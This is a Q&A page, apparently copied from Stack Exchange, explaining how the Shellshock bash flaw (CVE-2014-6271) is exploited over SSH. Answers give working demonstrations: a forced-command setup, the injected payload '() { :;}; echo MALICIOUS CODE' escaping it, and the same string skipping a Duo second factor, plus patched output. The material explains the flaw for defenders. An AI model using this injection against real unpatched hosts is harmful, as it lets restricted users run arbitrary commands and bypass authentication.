Apparently, the shellshock Bash exploit CVE-2014-6271 can be exploited over the network via SSH. I can imagine how the exploit would work via Apache/CGI, but I cannot imagine how that would work over SSH?
Can somebody please provide an example how SSH would be exploited, and what harm could be done to the system?
CLARIFICATION
AFAIU, only an authenticated user can exploit this vulnerability via SSH. What use is this exploit for somebody, who has legitimate access to the system anyway? I mean, this exploit does not have privilege escalation (he cannot become root), so he can do no more than he could have done after simply logging in legitimately via SSH.
Answers:
Thank you for visiting the Q&A section on Magenaut. Please note that all the answers may not help you solve the issue immediately. So please treat them as advisements. If you found the post helpful (or not), leave a comment & I’ll get back to you as soon as possible.
Method 1
One example where this can be exploited is on servers with an authorized_keys forced command. When adding an entry to ~/.ssh/authorized_keys, you can prefix the line with command="foo" to force foo to be run any time that ssh public key is used. With this exploit, if the target user’s shell is set to bash, they can take advantage of the exploit to run things other than the command that they are forced to.
This would probably make more sense in example, so here is an example:
sudo useradd -d /testuser -s /bin/bash testuser sudo mkdir -p /testuser/.ssh sudo sh -c "echo command=\"echo starting sleep; sleep 1\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys" sudo chown -R testuser /testuser
Here we set up a user testuser, that forces any ssh connections using your ssh key to run echo starting sleep; sleep 1.
We can test this with:
$ ssh <a href="https://getridbug.com/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="790d1c0a0d0c0a1c0b3915161a181511160a0d">[email protected]</a> echo something else starting sleep
Notice how our echo something else doesn’t get run, but the starting sleep shows that the forced command did run.
Now lets show how this exploit can be used:
$ ssh <a href="https://getridbug.com/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="1d69786e69686e786f5d71727e7c7175726e69">[email protected]</a> '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
This works because sshd sets the SSH_ORIGINAL_COMMAND environment variable to the command passed. So even though sshd ran sleep, and not the command I told it to, because of the exploit, my code still gets run.
Method 2
Expanding on the example from Ramesh – if you use two factor authentication, it is possible to bypass the second factor using this exploit, depending on how it is implemented.
— Normal Login —
[10:30:51]$ ssh -p 2102 localhost password: Duo two-factor login Enter a passcode or select one of the following options: 1. Duo Push to XXX-XXX-XXXX 2. Phone call to XXX-XXX-XXXX 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2) Passcode or option (1-3): 1 Pushed a login request to your device... Success. Logging you in... [server01 ~]$ logout
— Running code without 2FA —
[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE
You’ll notice it ran the code without prompting for 2FA.
— After patching bash —
[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’
Method 3
Shellshock is a vulnerability on bash, not on SSH. In order to exploit it, an attacker needs to cause the vulnerable system to run bash, and to control the value of an environment variable that will be passed to bash.
In order to reach a bash process through SSH, the attacker needs to pass the authentication steps. (There can be attack vectors through other network services, but they are beyond the scope of this thread.) If the account is allowed to run arbitrary shell commands anyway, there is no attack. The vulnerability comes into play if the account is restricted to run specific commands: for example, an SFTP-only account, or a git-only account, etc.
There are several ways to restrict an account to run a specific command with SSH: with the ForceCommand option in sshd_config, or with a command=. restriction in the authorized_keys file. If the user’s shell is bash, then the Shellshock vulnerability allows a user who would normally have access only to the restricted account to bypass the restriction and execute arbitrary commands.
All methods was sourced from stackoverflow.com or stackexchange.com, is licensed under cc by-sa 2.5, cc by-sa 3.0 and cc by-sa 4.0